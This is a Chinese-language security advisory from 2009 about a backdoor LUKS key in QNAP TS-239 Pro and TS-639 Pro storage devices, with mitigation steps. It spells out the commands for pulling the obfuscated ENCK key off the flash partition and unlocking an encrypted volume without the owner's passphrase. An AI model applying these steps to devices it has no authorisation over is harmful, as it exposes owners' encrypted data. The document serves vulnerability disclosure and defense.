安全研究

安全漏洞
QNAP网络存储设备磁盘加密后门密钥漏洞

发布日期:2009-09-18
更新日期:2009-09-21

受影响系统:
QNAP TS-239 Pro 3.1.1 0815
QNAP TS-239 Pro 3.1.0 0627
QNAP TS-239 Pro 2.1.7 0613
QNAP TS-639 Pro 3.1.1 0815
QNAP TS-639 Pro 3.1.0 0627
QNAP TS-639 Pro 2.1.7 0613
描述:
CVE ID: CVE-2009-3200,CVE-2009-3278,CVE-2009-3279

QNAP TS-239 Pro和TS-639 Pro都是台湾威联通的网络存储设备。

QNAP网络存储解决方案允许对整个硬盘进行加密,重启时用户必须通过Web GUI提供8-16字符长的密码短语才可以解密。Qnap使用的是Linux的LUKS加密规范创建加密分区,用户所提供的密码短语用$1$YCCaQNAP$ MD5盐粒进行crypt(3)加密并用作访问磁盘LUKS主密钥的初始密钥;此外,系统还会创建一个32字符长的包含有小写字符和0-9数字的第二密钥,将其添加到LUKS密钥环:

  /sbin/cryptsetup luksAddKey /dev/md0 /tmp/temp.wLbZNp --key-file=/tmp/temp.rUBxFo

在将第二密钥写入到电子盘之前,将前6个字符倒序排列并写入到字符串的末尾进行混淆,然后将混淆后的字符串写入到电子盘(/dev/sdx6)的ENCK变量中。

对于丢失了密码短语的用户,只需执行以下步骤就可以获得对加密卷标的完全访问:

  1. 从电子盘获得后门密钥:

       #  strings /dev/sdx6 | grep ENCK
       ENCK=ghijklmnopqrstuvwxyz012345fedcba
    
      可能会出现多个ENCK密钥。

  2. 恢复混淆的密钥。将最后的6个字符反序排在字符串之前:

     之前的ENCK密钥:ghijklmnopqrstuvwxyz012345fedcba
     之后的ENCK密钥:abcdefghijklmnopqrstuvwxyz012345

  3. 创建密钥文件:

       # echo -n "abcdefghijklmnopqrstuvwxyz012345" > /tmp/key

  4. 解锁并加载加密的卷标。设备通常是/dev/md0或/dev/sda3。

       # /sbin/cryptsetup luksOpen /dev/md0 md0 --key-file=/tmp/key
       key slot 0 unlocked.
       Command successful.
       # mount /dev/mapper/md0 /share/MD0_DATA

<*来源:Marc Heuse (mh@baseline-security.de
  
  链接:http://marc.info/?l=bugtraq&m=125330458111903&w=2
        http://secunia.com/advisories/36793/
*>

建议:
临时解决方法:

* 从keyslot 0删除后门密钥。由于需要哈希用户口令短语,因此必须使用安装了mkpasswd命令(whois软件包)的Linux系统。
  
  执行:

    # mkpasswd --hash=md5 --salt='YCCaQNAP'
  
  在Password:提示符输入口令,拷贝输出。

  在Qnap设备上通过口令哈希创建密钥文件:

    # echo -n "...the output of mkpasswd..." > /tmp/mykey

  删除后门密钥:

    # /sbin/cryptsetup luksKillSlot /dev/md0 0 --key-file=/tmp/mykey

  删除所有敏感数据,清除shell历史,然后注销:

    # echo "aaaaaaaaaaaaaaaaaaaaaaaaaaaa" > /tmp/mykey
    # rm /tmp/mykey /tmp/key
    # HISTSIZE=0
    # exit

* 编辑电子盘,覆盖所保存的密钥。这要求安装了ipkg软件包。
  
  安装16进制编辑器,对电子盘运行编辑器并覆盖ENCK值:

    # ipkg install hexcurse
    # hexcurse /dev/sdx6
    (这时加载编辑器窗口)
    
    按下Control-F,输入454e434b然后回车。
    将光标移至ENCK=字符串后,输入多个“A”字符直到字符串已满。按下Control-S保存,然后Control-Q退出。

厂商补丁:

QNAP
----
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.qnap.com/

浏览次数:3168
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障